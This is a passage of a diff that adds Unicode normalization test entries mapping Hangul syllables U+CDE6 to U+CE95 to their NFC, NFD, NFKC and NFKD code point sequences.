+{ source: [0xCDE6], NFC: [0xCDE6], NFD: [0x110E, 0x1170, 0x11C1], NFKC: [0xCDE6], NFKD: [0x110E, 0x1170, 0x11C1] },
+{ source: [0xCDE7], NFC: [0xCDE7], NFD: [0x110E, 0x1170, 0x11C2], NFKC: [0xCDE7], NFKD: [0x110E, 0x1170, 0x11C2] },
+{ source: [0xCDE8], NFC: [0xCDE8], NFD: [0x110E, 0x1171], NFKC: [0xCDE8], NFKD: [0x110E, 0x1171] },
+{ source: [0xCDE9], NFC: [0xCDE9], NFD: [0x110E, 0x1171, 0x11A8], NFKC: [0xCDE9], NFKD: [0x110E, 0x1171, 0x11A8] },
+{ source: [0xCDEA], NFC: [0xCDEA], NFD: [0x110E, 0x1171, 0x11A9], NFKC: [0xCDEA], NFKD: [0x110E, 0x1171, 0x11A9] },
+{ source: [0xCDEB], NFC: [0xCDEB], NFD: [0x110E, 0x1171, 0x11AA], NFKC: [0xCDEB], NFKD: [0x110E, 0x1171, 0x11AA] },
+{ source: [0xCDEC], NFC: [0xCDEC], NFD: [0x110E, 0x1171, 0x11AB], NFKC: [0xCDEC], NFKD: [0x110E, 0x1171, 0x11AB] },
+{ source: [0xCDED], NFC: [0xCDED], NFD: [0x110E, 0x1171, 0x11AC], NFKC: [0xCDED], NFKD: [0x110E, 0x1171, 0x11AC] },
+{ source: [0xCDEE], NFC: [0xCDEE], NFD: [0x110E, 0x1171, 0x11AD], NFKC: [0xCDEE], NFKD: [0x110E, 0x1171, 0x11AD] },
+{ source: [0xCDEF], NFC: [0xCDEF], NFD: [0x110E, 0x1171, 0x11AE], NFKC: [0xCDEF], NFKD: [0x110E, 0x1171, 0x11AE] },
+{ source: [0xCDF0], NFC: [0xCDF0], NFD: [0x110E, 0x1171, 0x11AF], NFKC: [0xCDF0], NFKD: [0x110E, 0x1171, 0x11AF] },
+{ source: [0xCDF1], NFC: [0xCDF1], NFD: [0x110E, 0x1171, 0x11B0], NFKC: [0xCDF1], NFKD: [0x110E, 0x1171, 0x11B0] },
+{ source: [0xCDF2], NFC: [0xCDF2], NFD: [0x110E, 0x1171, 0x11B1], NFKC: [0xCDF2], NFKD: [0x110E, 0x1171, 0x11B1] },
+{ source: [0xCDF3], NFC: [0xCDF3], NFD: [0x110E, 0x1171, 0x11B2], NFKC: [0xCDF3], NFKD: [0x110E, 0x1171, 0x11B2] },
+{ source: [0xCDF4], NFC: [0xCDF4], NFD: [0x110E, 0x1171, 0x11B3], NFKC: [0xCDF4], NFKD: [0x110E, 0x1171, 0x11B3] },
+{ source: [0xCDF5], NFC: [0xCDF5], NFD: [0x110E, 0x1171, 0x11B4], NFKC: [0xCDF5], NFKD: [0x110E, 0x1171, 0x11B4] },
+{ source: [0xCDF6], NFC: [0xCDF6], NFD: [0x110E, 0x1171, 0x11B5], NFKC: [0xCDF6], NFKD: [0x110E, 0x1171, 0x11B5] },
+{ source: [0xCDF7], NFC: [0xCDF7], NFD: [0x110E, 0x1171, 0x11B6], NFKC: [0xCDF7], NFKD: [0x110E, 0x1171, 0x11B6] },
+{ source: [0xCDF8], NFC: [0xCDF8], NFD: [0x110E, 0x1171, 0x11B7], NFKC: [0xCDF8], NFKD: [0x110E, 0x1171, 0x11B7] },
+{ source: [0xCDF9], NFC: [0xCDF9], NFD: [0x110E, 0x1171, 0x11B8], NFKC: [0xCDF9], NFKD: [0x110E, 0x1171, 0x11B8] },
+{ source: [0xCDFA], NFC: [0xCDFA], NFD: [0x110E, 0x1171, 0x11B9], NFKC: [0xCDFA], NFKD: [0x110E, 0x1171, 0x11B9] },
+{ source: [0xCDFB], NFC: [0xCDFB], NFD: [0x110E, 0x1171, 0x11BA], NFKC: [0xCDFB], NFKD: [0x110E, 0x1171, 0x11BA] },
+{ source: [0xCDFC], NFC: [0xCDFC], NFD: [0x110E, 0x1171, 0x11BB], NFKC: [0xCDFC], NFKD: [0x110E, 0x1171, 0x11BB] },
+{ source: [0xCDFD], NFC: [0xCDFD], NFD: [0x110E, 0x1171, 0x11BC], NFKC: [0xCDFD], NFKD: [0x110E, 0x1171, 0x11BC] },
+{ source: [0xCDFE], NFC: [0xCDFE], NFD: [0x110E, 0x1171, 0x11BD], NFKC: [0xCDFE], NFKD: [0x110E, 0x1171, 0x11BD] },
+{ source: [0xCDFF], NFC: [0xCDFF], NFD: [0x110E, 0x1171, 0x11BE], NFKC: [0xCDFF], NFKD: [0x110E, 0x1171, 0x11BE] },
+{ source: [0xCE00], NFC: [0xCE00], NFD: [0x110E, 0x1171, 0x11BF], NFKC: [0xCE00], NFKD: [0x110E, 0x1171, 0x11BF] },
+{ source: [0xCE01], NFC: [0xCE01], NFD: [0x110E, 0x1171, 0x11C0], NFKC: [0xCE01], NFKD: [0x110E, 0x1171, 0x11C0] },
+{ source: [0xCE02], NFC: [0xCE02], NFD: [0x110E, 0x1171, 0x11C1], NFKC: [0xCE02], NFKD: [0x110E, 0x1171, 0x11C1] },
+{ source: [0xCE03], NFC: [0xCE03], NFD: [0x110E, 0x1171, 0x11C2], NFKC: [0xCE03], NFKD: [0x110E, 0x1171, 0x11C2] },
+{ source: [0xCE04], NFC: [0xCE04], NFD: [0x110E, 0x1172], NFKC: [0xCE04], NFKD: [0x110E, 0x1172] },
+{ source: [0xCE05], NFC: [0xCE05], NFD: [0x110E, 0x1172, 0x11A8], NFKC: [0xCE05], NFKD: [0x110E, 0x1172, 0x11A8] },
+{ source: [0xCE06], NFC: [0xCE06], NFD: [0x110E, 0x1172, 0x11A9], NFKC: [0xCE06], NFKD: [0x110E, 0x1172, 0x11A9] },
+{ source: [0xCE07], NFC: [0xCE07], NFD: [0x110E, 0x1172, 0x11AA], NFKC: [0xCE07], NFKD: [0x110E, 0x1172, 0x11AA] },
+{ source: [0xCE08], NFC: [0xCE08], NFD: [0x110E, 0x1172, 0x11AB], NFKC: [0xCE08], NFKD: [0x110E, 0x1172, 0x11AB] },
+{ source: [0xCE09], NFC: [0xCE09], NFD: [0x110E, 0x1172, 0x11AC], NFKC: [0xCE09], NFKD: [0x110E, 0x1172, 0x11AC] },
+{ source: [0xCE0A], NFC: [0xCE0A], NFD: [0x110E, 0x1172, 0x11AD], NFKC: [0xCE0A], NFKD: [0x110E, 0x1172, 0x11AD] },
+{ source: [0xCE0B], NFC: [0xCE0B], NFD: [0x110E, 0x1172, 0x11AE], NFKC: [0xCE0B], NFKD: [0x110E, 0x1172, 0x11AE] },
+{ source: [0xCE0C], NFC: [0xCE0C], NFD: [0x110E, 0x1172, 0x11AF], NFKC: [0xCE0C], NFKD: [0x110E, 0x1172, 0x11AF] },
+{ source: [0xCE0D], NFC: [0xCE0D], NFD: [0x110E, 0x1172, 0x11B0], NFKC: [0xCE0D], NFKD: [0x110E, 0x1172, 0x11B0] },
+{ source: [0xCE0E], NFC: [0xCE0E], NFD: [0x110E, 0x1172, 0x11B1], NFKC: [0xCE0E], NFKD: [0x110E, 0x1172, 0x11B1] },
+{ source: [0xCE0F], NFC: [0xCE0F], NFD: [0x110E, 0x1172, 0x11B2], NFKC: [0xCE0F], NFKD: [0x110E, 0x1172, 0x11B2] },
+{ source: [0xCE10], NFC: [0xCE10], NFD: [0x110E, 0x1172, 0x11B3], NFKC: [0xCE10], NFKD: [0x110E, 0x1172, 0x11B3] },
+{ source: [0xCE11], NFC: [0xCE11], NFD: [0x110E, 0x1172, 0x11B4], NFKC: [0xCE11], NFKD: [0x110E, 0x1172, 0x11B4] },
+{ source: [0xCE12], NFC: [0xCE12], NFD: [0x110E, 0x1172, 0x11B5], NFKC: [0xCE12], NFKD: [0x110E, 0x1172, 0x11B5] },
+{ source: [0xCE13], NFC: [0xCE13], NFD: [0x110E, 0x1172, 0x11B6], NFKC: [0xCE13], NFKD: [0x110E, 0x1172, 0x11B6] },
+{ source: [0xCE14], NFC: [0xCE14], NFD: [0x110E, 0x1172, 0x11B7], NFKC: [0xCE14], NFKD: [0x110E, 0x1172, 0x11B7] },
+{ source: [0xCE15], NFC: [0xCE15], NFD: [0x110E, 0x1172, 0x11B8], NFKC: [0xCE15], NFKD: [0x110E, 0x1172, 0x11B8] },
+{ source: [0xCE16], NFC: [0xCE16], NFD: [0x110E, 0x1172, 0x11B9], NFKC: [0xCE16], NFKD: [0x110E, 0x1172, 0x11B9] },
+{ source: [0xCE17], NFC: [0xCE17], NFD: [0x110E, 0x1172, 0x11BA], NFKC: [0xCE17], NFKD: [0x110E, 0x1172, 0x11BA] },
+{ source: [0xCE18], NFC: [0xCE18], NFD: [0x110E, 0x1172, 0x11BB], NFKC: [0xCE18], NFKD: [0x110E, 0x1172, 0x11BB] },
+{ source: [0xCE19], NFC: [0xCE19], NFD: [0x110E, 0x1172, 0x11BC], NFKC: [0xCE19], NFKD: [0x110E, 0x1172, 0x11BC] },
+{ source: [0xCE1A], NFC: [0xCE1A], NFD: [0x110E, 0x1172, 0x11BD], NFKC: [0xCE1A], NFKD: [0x110E, 0x1172, 0x11BD] },
+{ source: [0xCE1B], NFC: [0xCE1B], NFD: [0x110E, 0x1172, 0x11BE], NFKC: [0xCE1B], NFKD: [0x110E, 0x1172, 0x11BE] },
+{ source: [0xCE1C], NFC: [0xCE1C], NFD: [0x110E, 0x1172, 0x11BF], NFKC: [0xCE1C], NFKD: [0x110E, 0x1172, 0x11BF] },
+{ source: [0xCE1D], NFC: [0xCE1D], NFD: [0x110E, 0x1172, 0x11C0], NFKC: [0xCE1D], NFKD: [0x110E, 0x1172, 0x11C0] },
+{ source: [0xCE1E], NFC: [0xCE1E], NFD: [0x110E, 0x1172, 0x11C1], NFKC: [0xCE1E], NFKD: [0x110E, 0x1172, 0x11C1] },
+{ source: [0xCE1F], NFC: [0xCE1F], NFD: [0x110E, 0x1172, 0x11C2], NFKC: [0xCE1F], NFKD: [0x110E, 0x1172, 0x11C2] },
+{ source: [0xCE20], NFC: [0xCE20], NFD: [0x110E, 0x1173], NFKC: [0xCE20], NFKD: [0x110E, 0x1173] },
+{ source: [0xCE21], NFC: [0xCE21], NFD: [0x110E, 0x1173, 0x11A8], NFKC: [0xCE21], NFKD: [0x110E, 0x1173, 0x11A8] },
+{ source: [0xCE22], NFC: [0xCE22], NFD: [0x110E, 0x1173, 0x11A9], NFKC: [0xCE22], NFKD: [0x110E, 0x1173, 0x11A9] },
+{ source: [0xCE23], NFC: [0xCE23], NFD: [0x110E, 0x1173, 0x11AA], NFKC: [0xCE23], NFKD: [0x110E, 0x1173, 0x11AA] },
+{ source: [0xCE24], NFC: [0xCE24], NFD: [0x110E, 0x1173, 0x11AB], NFKC: [0xCE24], NFKD: [0x110E, 0x1173, 0x11AB] },
+{ source: [0xCE25], NFC: [0xCE25], NFD: [0x110E, 0x1173, 0x11AC], NFKC: [0xCE25], NFKD: [0x110E, 0x1173, 0x11AC] },
+{ source: [0xCE26], NFC: [0xCE26], NFD: [0x110E, 0x1173, 0x11AD], NFKC: [0xCE26], NFKD: [0x110E, 0x1173, 0x11AD] },
+{ source: [0xCE27], NFC: [0xCE27], NFD: [0x110E, 0x1173, 0x11AE], NFKC: [0xCE27], NFKD: [0x110E, 0x1173, 0x11AE] },
+{ source: [0xCE28], NFC: [0xCE28], NFD: [0x110E, 0x1173, 0x11AF], NFKC: [0xCE28], NFKD: [0x110E, 0x1173, 0x11AF] },
+{ source: [0xCE29], NFC: [0xCE29], NFD: [0x110E, 0x1173, 0x11B0], NFKC: [0xCE29], NFKD: [0x110E, 0x1173, 0x11B0] },
+{ source: [0xCE2A], NFC: [0xCE2A], NFD: [0x110E, 0x1173, 0x11B1], NFKC: [0xCE2A], NFKD: [0x110E, 0x1173, 0x11B1] },
+{ source: [0xCE2B], NFC: [0xCE2B], NFD: [0x110E, 0x1173, 0x11B2], NFKC: [0xCE2B], NFKD: [0x110E, 0x1173, 0x11B2] },
+{ source: [0xCE2C], NFC: [0xCE2C], NFD: [0x110E, 0x1173, 0x11B3], NFKC: [0xCE2C], NFKD: [0x110E, 0x1173, 0x11B3] },
+{ source: [0xCE2D], NFC: [0xCE2D], NFD: [0x110E, 0x1173, 0x11B4], NFKC: [0xCE2D], NFKD: [0x110E, 0x1173, 0x11B4] },
+{ source: [0xCE2E], NFC: [0xCE2E], NFD: [0x110E, 0x1173, 0x11B5], NFKC: [0xCE2E], NFKD: [0x110E, 0x1173, 0x11B5] },
+{ source: [0xCE2F], NFC: [0xCE2F], NFD: [0x110E, 0x1173, 0x11B6], NFKC: [0xCE2F], NFKD: [0x110E, 0x1173, 0x11B6] },
+{ source: [0xCE30], NFC: [0xCE30], NFD: [0x110E, 0x1173, 0x11B7], NFKC: [0xCE30], NFKD: [0x110E, 0x1173, 0x11B7] },
+{ source: [0xCE31], NFC: [0xCE31], NFD: [0x110E, 0x1173, 0x11B8], NFKC: [0xCE31], NFKD: [0x110E, 0x1173, 0x11B8] },
+{ source: [0xCE32], NFC: [0xCE32], NFD: [0x110E, 0x1173, 0x11B9], NFKC: [0xCE32], NFKD: [0x110E, 0x1173, 0x11B9] },
+{ source: [0xCE33], NFC: [0xCE33], NFD: [0x110E, 0x1173, 0x11BA], NFKC: [0xCE33], NFKD: [0x110E, 0x1173, 0x11BA] },
+{ source: [0xCE34], NFC: [0xCE34], NFD: [0x110E, 0x1173, 0x11BB], NFKC: [0xCE34], NFKD: [0x110E, 0x1173, 0x11BB] },
+{ source: [0xCE35], NFC: [0xCE35], NFD: [0x110E, 0x1173, 0x11BC], NFKC: [0xCE35], NFKD: [0x110E, 0x1173, 0x11BC] },
+{ source: [0xCE36], NFC: [0xCE36], NFD: [0x110E, 0x1173, 0x11BD], NFKC: [0xCE36], NFKD: [0x110E, 0x1173, 0x11BD] },
+{ source: [0xCE37], NFC: [0xCE37], NFD: [0x110E, 0x1173, 0x11BE], NFKC: [0xCE37], NFKD: [0x110E, 0x1173, 0x11BE] },
+{ source: [0xCE38], NFC: [0xCE38], NFD: [0x110E, 0x1173, 0x11BF], NFKC: [0xCE38], NFKD: [0x110E, 0x1173, 0x11BF] },
+{ source: [0xCE39], NFC: [0xCE39], NFD: [0x110E, 0x1173, 0x11C0], NFKC: [0xCE39], NFKD: [0x110E, 0x1173, 0x11C0] },
+{ source: [0xCE3A], NFC: [0xCE3A], NFD: [0x110E, 0x1173, 0x11C1], NFKC: [0xCE3A], NFKD: [0x110E, 0x1173, 0x11C1] },
+{ source: [0xCE3B], NFC: [0xCE3B], NFD: [0x110E, 0x1173, 0x11C2], NFKC: [0xCE3B], NFKD: [0x110E, 0x1173, 0x11C2] },
+{ source: [0xCE3C], NFC: [0xCE3C], NFD: [0x110E, 0x1174], NFKC: [0xCE3C], NFKD: [0x110E, 0x1174] },
+{ source: [0xCE3D], NFC: [0xCE3D], NFD: [0x110E, 0x1174, 0x11A8], NFKC: [0xCE3D], NFKD: [0x110E, 0x1174, 0x11A8] },
+{ source: [0xCE3E], NFC: [0xCE3E], NFD: [0x110E, 0x1174, 0x11A9], NFKC: [0xCE3E], NFKD: [0x110E, 0x1174, 0x11A9] },
+{ source: [0xCE3F], NFC: [0xCE3F], NFD: [0x110E, 0x1174, 0x11AA], NFKC: [0xCE3F], NFKD: [0x110E, 0x1174, 0x11AA] },
+{ source: [0xCE40], NFC: [0xCE40], NFD: [0x110E, 0x1174, 0x11AB], NFKC: [0xCE40], NFKD: [0x110E, 0x1174, 0x11AB] },
+{ source: [0xCE41], NFC: [0xCE41], NFD: [0x110E, 0x1174, 0x11AC], NFKC: [0xCE41], NFKD: [0x110E, 0x1174, 0x11AC] },
+{ source: [0xCE42], NFC: [0xCE42], NFD: [0x110E, 0x1174, 0x11AD], NFKC: [0xCE42], NFKD: [0x110E, 0x1174, 0x11AD] },
+{ source: [0xCE43], NFC: [0xCE43], NFD: [0x110E, 0x1174, 0x11AE], NFKC: [0xCE43], NFKD: [0x110E, 0x1174, 0x11AE] },
+{ source: [0xCE44], NFC: [0xCE44], NFD: [0x110E, 0x1174, 0x11AF], NFKC: [0xCE44], NFKD: [0x110E, 0x1174, 0x11AF] },
+{ source: [0xCE45], NFC: [0xCE45], NFD: [0x110E, 0x1174, 0x11B0], NFKC: [0xCE45], NFKD: [0x110E, 0x1174, 0x11B0] },
+{ source: [0xCE46], NFC: [0xCE46], NFD: [0x110E, 0x1174, 0x11B1], NFKC: [0xCE46], NFKD: [0x110E, 0x1174, 0x11B1] },
+{ source: [0xCE47], NFC: [0xCE47], NFD: [0x110E, 0x1174, 0x11B2], NFKC: [0xCE47], NFKD: [0x110E, 0x1174, 0x11B2] },
+{ source: [0xCE48], NFC: [0xCE48], NFD: [0x110E, 0x1174, 0x11B3], NFKC: [0xCE48], NFKD: [0x110E, 0x1174, 0x11B3] },
+{ source: [0xCE49], NFC: [0xCE49], NFD: [0x110E, 0x1174, 0x11B4], NFKC: [0xCE49], NFKD: [0x110E, 0x1174, 0x11B4] },
+{ source: [0xCE4A], NFC: [0xCE4A], NFD: [0x110E, 0x1174, 0x11B5], NFKC: [0xCE4A], NFKD: [0x110E, 0x1174, 0x11B5] },
+{ source: [0xCE4B], NFC: [0xCE4B], NFD: [0x110E, 0x1174, 0x11B6], NFKC: [0xCE4B], NFKD: [0x110E, 0x1174, 0x11B6] },
+{ source: [0xCE4C], NFC: [0xCE4C], NFD: [0x110E, 0x1174, 0x11B7], NFKC: [0xCE4C], NFKD: [0x110E, 0x1174, 0x11B7] },
+{ source: [0xCE4D], NFC: [0xCE4D], NFD: [0x110E, 0x1174, 0x11B8], NFKC: [0xCE4D], NFKD: [0x110E, 0x1174, 0x11B8] },
+{ source: [0xCE4E], NFC: [0xCE4E], NFD: [0x110E, 0x1174, 0x11B9], NFKC: [0xCE4E], NFKD: [0x110E, 0x1174, 0x11B9] },
+{ source: [0xCE4F], NFC: [0xCE4F], NFD: [0x110E, 0x1174, 0x11BA], NFKC: [0xCE4F], NFKD: [0x110E, 0x1174, 0x11BA] },
+{ source: [0xCE50], NFC: [0xCE50], NFD: [0x110E, 0x1174, 0x11BB], NFKC: [0xCE50], NFKD: [0x110E, 0x1174, 0x11BB] },
+{ source: [0xCE51], NFC: [0xCE51], NFD: [0x110E, 0x1174, 0x11BC], NFKC: [0xCE51], NFKD: [0x110E, 0x1174, 0x11BC] },
+{ source: [0xCE52], NFC: [0xCE52], NFD: [0x110E, 0x1174, 0x11BD], NFKC: [0xCE52], NFKD: [0x110E, 0x1174, 0x11BD] },
+{ source: [0xCE53], NFC: [0xCE53], NFD: [0x110E, 0x1174, 0x11BE], NFKC: [0xCE53], NFKD: [0x110E, 0x1174, 0x11BE] },
+{ source: [0xCE54], NFC: [0xCE54], NFD: [0x110E, 0x1174, 0x11BF], NFKC: [0xCE54], NFKD: [0x110E, 0x1174, 0x11BF] },
+{ source: [0xCE55], NFC: [0xCE55], NFD: [0x110E, 0x1174, 0x11C0], NFKC: [0xCE55], NFKD: [0x110E, 0x1174, 0x11C0] },
+{ source: [0xCE56], NFC: [0xCE56], NFD: [0x110E, 0x1174, 0x11C1], NFKC: [0xCE56], NFKD: [0x110E, 0x1174, 0x11C1] },
+{ source: [0xCE57], NFC: [0xCE57], NFD: [0x110E, 0x1174, 0x11C2], NFKC: [0xCE57], NFKD: [0x110E, 0x1174, 0x11C2] },
+{ source: [0xCE58], NFC: [0xCE58], NFD: [0x110E, 0x1175], NFKC: [0xCE58], NFKD: [0x110E, 0x1175] },
+{ source: [0xCE59], NFC: [0xCE59], NFD: [0x110E, 0x1175, 0x11A8], NFKC: [0xCE59], NFKD: [0x110E, 0x1175, 0x11A8] },
+{ source: [0xCE5A], NFC: [0xCE5A], NFD: [0x110E, 0x1175, 0x11A9], NFKC: [0xCE5A], NFKD: [0x110E, 0x1175, 0x11A9] },
+{ source: [0xCE5B], NFC: [0xCE5B], NFD: [0x110E, 0x1175, 0x11AA], NFKC: [0xCE5B], NFKD: [0x110E, 0x1175, 0x11AA] },
+{ source: [0xCE5C], NFC: [0xCE5C], NFD: [0x110E, 0x1175, 0x11AB], NFKC: [0xCE5C], NFKD: [0x110E, 0x1175, 0x11AB] },
+{ source: [0xCE5D], NFC: [0xCE5D], NFD: [0x110E, 0x1175, 0x11AC], NFKC: [0xCE5D], NFKD: [0x110E, 0x1175, 0x11AC] },
+{ source: [0xCE5E], NFC: [0xCE5E], NFD: [0x110E, 0x1175, 0x11AD], NFKC: [0xCE5E], NFKD: [0x110E, 0x1175, 0x11AD] },
+{ source: [0xCE5F], NFC: [0xCE5F], NFD: [0x110E, 0x1175, 0x11AE], NFKC: [0xCE5F], NFKD: [0x110E, 0x1175, 0x11AE] },
+{ source: [0xCE60], NFC: [0xCE60], NFD: [0x110E, 0x1175, 0x11AF], NFKC: [0xCE60], NFKD: [0x110E, 0x1175, 0x11AF] },
+{ source: [0xCE61], NFC: [0xCE61], NFD: [0x110E, 0x1175, 0x11B0], NFKC: [0xCE61], NFKD: [0x110E, 0x1175, 0x11B0] },
+{ source: [0xCE62], NFC: [0xCE62], NFD: [0x110E, 0x1175, 0x11B1], NFKC: [0xCE62], NFKD: [0x110E, 0x1175, 0x11B1] },
+{ source: [0xCE63], NFC: [0xCE63], NFD: [0x110E, 0x1175, 0x11B2], NFKC: [0xCE63], NFKD: [0x110E, 0x1175, 0x11B2] },
+{ source: [0xCE64], NFC: [0xCE64], NFD: [0x110E, 0x1175, 0x11B3], NFKC: [0xCE64], NFKD: [0x110E, 0x1175, 0x11B3] },
+{ source: [0xCE65], NFC: [0xCE65], NFD: [0x110E, 0x1175, 0x11B4], NFKC: [0xCE65], NFKD: [0x110E, 0x1175, 0x11B4] },
+{ source: [0xCE66], NFC: [0xCE66], NFD: [0x110E, 0x1175, 0x11B5], NFKC: [0xCE66], NFKD: [0x110E, 0x1175, 0x11B5] },
+{ source: [0xCE67], NFC: [0xCE67], NFD: [0x110E, 0x1175, 0x11B6], NFKC: [0xCE67], NFKD: [0x110E, 0x1175, 0x11B6] },
+{ source: [0xCE68], NFC: [0xCE68], NFD: [0x110E, 0x1175, 0x11B7], NFKC: [0xCE68], NFKD: [0x110E, 0x1175, 0x11B7] },
+{ source: [0xCE69], NFC: [0xCE69], NFD: [0x110E, 0x1175, 0x11B8], NFKC: [0xCE69], NFKD: [0x110E, 0x1175, 0x11B8] },
+{ source: [0xCE6A], NFC: [0xCE6A], NFD: [0x110E, 0x1175, 0x11B9], NFKC: [0xCE6A], NFKD: [0x110E, 0x1175, 0x11B9] },
+{ source: [0xCE6B], NFC: [0xCE6B], NFD: [0x110E, 0x1175, 0x11BA], NFKC: [0xCE6B], NFKD: [0x110E, 0x1175, 0x11BA] },
+{ source: [0xCE6C], NFC: [0xCE6C], NFD: [0x110E, 0x1175, 0x11BB], NFKC: [0xCE6C], NFKD: [0x110E, 0x1175, 0x11BB] },
+{ source: [0xCE6D], NFC: [0xCE6D], NFD: [0x110E, 0x1175, 0x11BC], NFKC: [0xCE6D], NFKD: [0x110E, 0x1175, 0x11BC] },
+{ source: [0xCE6E], NFC: [0xCE6E], NFD: [0x110E, 0x1175, 0x11BD], NFKC: [0xCE6E], NFKD: [0x110E, 0x1175, 0x11BD] },
+{ source: [0xCE6F], NFC: [0xCE6F], NFD: [0x110E, 0x1175, 0x11BE], NFKC: [0xCE6F], NFKD: [0x110E, 0x1175, 0x11BE] },
+{ source: [0xCE70], NFC: [0xCE70], NFD: [0x110E, 0x1175, 0x11BF], NFKC: [0xCE70], NFKD: [0x110E, 0x1175, 0x11BF] },
+{ source: [0xCE71], NFC: [0xCE71], NFD: [0x110E, 0x1175, 0x11C0], NFKC: [0xCE71], NFKD: [0x110E, 0x1175, 0x11C0] },
+{ source: [0xCE72], NFC: [0xCE72], NFD: [0x110E, 0x1175, 0x11C1], NFKC: [0xCE72], NFKD: [0x110E, 0x1175, 0x11C1] },
+{ source: [0xCE73], NFC: [0xCE73], NFD: [0x110E, 0x1175, 0x11C2], NFKC: [0xCE73], NFKD: [0x110E, 0x1175, 0x11C2] },
+{ source: [0xCE74], NFC: [0xCE74], NFD: [0x110F, 0x1161], NFKC: [0xCE74], NFKD: [0x110F, 0x1161] },
+{ source: [0xCE75], NFC: [0xCE75], NFD: [0x110F, 0x1161, 0x11A8], NFKC: [0xCE75], NFKD: [0x110F, 0x1161, 0x11A8] },
+{ source: [0xCE76], NFC: [0xCE76], NFD: [0x110F, 0x1161, 0x11A9], NFKC: [0xCE76], NFKD: [0x110F, 0x1161, 0x11A9] },
+{ source: [0xCE77], NFC: [0xCE77], NFD: [0x110F, 0x1161, 0x11AA], NFKC: [0xCE77], NFKD: [0x110F, 0x1161, 0x11AA] },
+{ source: [0xCE78], NFC: [0xCE78], NFD: [0x110F, 0x1161, 0x11AB], NFKC: [0xCE78], NFKD: [0x110F, 0x1161, 0x11AB] },
+{ source: [0xCE79], NFC: [0xCE79], NFD: [0x110F, 0x1161, 0x11AC], NFKC: [0xCE79], NFKD: [0x110F, 0x1161, 0x11AC] },
+{ source: [0xCE7A], NFC: [0xCE7A], NFD: [0x110F, 0x1161, 0x11AD], NFKC: [0xCE7A], NFKD: [0x110F, 0x1161, 0x11AD] },
+{ source: [0xCE7B], NFC: [0xCE7B], NFD: [0x110F, 0x1161, 0x11AE], NFKC: [0xCE7B], NFKD: [0x110F, 0x1161, 0x11AE] },
+{ source: [0xCE7C], NFC: [0xCE7C], NFD: [0x110F, 0x1161, 0x11AF], NFKC: [0xCE7C], NFKD: [0x110F, 0x1161, 0x11AF] },
+{ source: [0xCE7D], NFC: [0xCE7D], NFD: [0x110F, 0x1161, 0x11B0], NFKC: [0xCE7D], NFKD: [0x110F, 0x1161, 0x11B0] },
+{ source: [0xCE7E], NFC: [0xCE7E], NFD: [0x110F, 0x1161, 0x11B1], NFKC: [0xCE7E], NFKD: [0x110F, 0x1161, 0x11B1] },
+{ source: [0xCE7F], NFC: [0xCE7F], NFD: [0x110F, 0x1161, 0x11B2], NFKC: [0xCE7F], NFKD: [0x110F, 0x1161, 0x11B2] },
+{ source: [0xCE80], NFC: [0xCE80], NFD: [0x110F, 0x1161, 0x11B3], NFKC: [0xCE80], NFKD: [0x110F, 0x1161, 0x11B3] },
+{ source: [0xCE81], NFC: [0xCE81], NFD: [0x110F, 0x1161, 0x11B4], NFKC: [0xCE81], NFKD: [0x110F, 0x1161, 0x11B4] },
+{ source: [0xCE82], NFC: [0xCE82], NFD: [0x110F, 0x1161, 0x11B5], NFKC: [0xCE82], NFKD: [0x110F, 0x1161, 0x11B5] },
+{ source: [0xCE83], NFC: [0xCE83], NFD: [0x110F, 0x1161, 0x11B6], NFKC: [0xCE83], NFKD: [0x110F, 0x1161, 0x11B6] },
+{ source: [0xCE84], NFC: [0xCE84], NFD: [0x110F, 0x1161, 0x11B7], NFKC: [0xCE84], NFKD: [0x110F, 0x1161, 0x11B7] },
+{ source: [0xCE85], NFC: [0xCE85], NFD: [0x110F, 0x1161, 0x11B8], NFKC: [0xCE85], NFKD: [0x110F, 0x1161, 0x11B8] },
+{ source: [0xCE86], NFC: [0xCE86], NFD: [0x110F, 0x1161, 0x11B9], NFKC: [0xCE86], NFKD: [0x110F, 0x1161, 0x11B9] },
+{ source: [0xCE87], NFC: [0xCE87], NFD: [0x110F, 0x1161, 0x11BA], NFKC: [0xCE87], NFKD: [0x110F, 0x1161, 0x11BA] },
+{ source: [0xCE88], NFC: [0xCE88], NFD: [0x110F, 0x1161, 0x11BB], NFKC: [0xCE88], NFKD: [0x110F, 0x1161, 0x11BB] },
+{ source: [0xCE89], NFC: [0xCE89], NFD: [0x110F, 0x1161, 0x11BC], NFKC: [0xCE89], NFKD: [0x110F, 0x1161, 0x11BC] },
+{ source: [0xCE8A], NFC: [0xCE8A], NFD: [0x110F, 0x1161, 0x11BD], NFKC: [0xCE8A], NFKD: [0x110F, 0x1161, 0x11BD] },
+{ source: [0xCE8B], NFC: [0xCE8B], NFD: [0x110F, 0x1161, 0x11BE], NFKC: [0xCE8B], NFKD: [0x110F, 0x1161, 0x11BE] },
+{ source: [0xCE8C], NFC: [0xCE8C], NFD: [0x110F, 0x1161, 0x11BF], NFKC: [0xCE8C], NFKD: [0x110F, 0x1161, 0x11BF] },
+{ source: [0xCE8D], NFC: [0xCE8D], NFD: [0x110F, 0x1161, 0x11C0], NFKC: [0xCE8D], NFKD: [0x110F, 0x1161, 0x11C0] },
+{ source: [0xCE8E], NFC: [0xCE8E], NFD: [0x110F, 0x1161, 0x11C1], NFKC: [0xCE8E], NFKD: [0x110F, 0x1161, 0x11C1] },
+{ source: [0xCE8F], NFC: [0xCE8F], NFD: [0x110F, 0x1161, 0x11C2], NFKC: [0xCE8F], NFKD: [0x110F, 0x1161, 0x11C2] },
+{ source: [0xCE90], NFC: [0xCE90], NFD: [0x110F, 0x1162], NFKC: [0xCE90], NFKD: [0x110F, 0x1162] },
+{ source: [0xCE91], NFC: [0xCE91], NFD: [0x110F, 0x1162, 0x11A8], NFKC: [0xCE91], NFKD: [0x110F, 0x1162, 0x11A8] },
+{ source: [0xCE92], NFC: [0xCE92], NFD: [0x110F, 0x1162, 0x11A9], NFKC: [0xCE92], NFKD: [0x110F, 0x1162, 0x11A9] },
+{ source: [0xCE93], NFC: [0xCE93], NFD: [0x110F, 0x1162, 0x11AA], NFKC: [0xCE93], NFKD: [0x110F, 0x1162, 0x11AA] },
+{ source: [0xCE94], NFC: [0xCE94], NFD: [0x110F, 0x1162, 0x11AB], NFKC: [0xCE94], NFKD: [0x110F, 0x1162, 0x11AB] },
+{ source: [0xCE95], NFC: [0xCE95], NFD: [0x110F, 0x1162, 0x11AC], NFKC: [0xCE95], NFKD: [0x110F, 0x1162, 0x11AC] },
